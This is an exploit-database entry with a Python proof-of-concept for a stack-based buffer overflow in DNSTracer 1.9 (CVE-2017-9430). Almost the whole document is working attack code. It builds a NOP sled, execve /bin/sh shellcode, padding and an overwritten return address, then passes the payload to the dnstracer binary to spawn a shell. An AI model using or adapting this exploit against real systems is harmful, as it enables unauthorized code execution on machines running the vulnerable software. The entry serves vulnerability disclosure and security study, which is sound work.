DNSTracer 1.9 Buffer Overflow

`# Exploit Title: DNSTracer 1.9 - Buffer Overflow  
# Google Dork: [if applicable]  
# Date: 03-08-2017  
# Exploit Author: j0lama  
# Vendor Homepage: http://www.mavetju.org/unix/dnstracer.php  
# Software Link: http://www.mavetju.org/download/dnstracer-1.9.tar.gz  
# Version: 1.9  
# Tested on: Ubuntu 12.04  
# CVE : CVE-2017-9430  
# Bug report: https://www.exploit-db.com/exploits/42115/  
# Vulnerability analysis: http://jolama.es/temas/dnstracer-exploit/index.php  
  
  
# Proof of Concept  
import os  
from subprocess import call  
  
def run():  
try:  
print "\nDNSTracer Stack-based Buffer Overflow"  
print "Author: j0lama"  
print "Tested with Dnstracer compile without buffer overflow protection"  
  
nops = "\x90"*1006  
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"  
filling = "A"*24  
eip = "\x2f\xeb\xff\xbf"  
  
#buf size = 1057  
buf = nops + shellcode + filling + eip  
  
call(["./dnstracer", buf])  
  
except OSError as e:  
if e.errno == os.errno.ENOENT:  
print "\nDnstracer not found!\n"  
else:  
print "\nError executing exploit\n"  
raise  
  
  
if __name__ == '__main__':  
try:  
run()  
except Exception as e:  
print "Something went wrong"  
  
`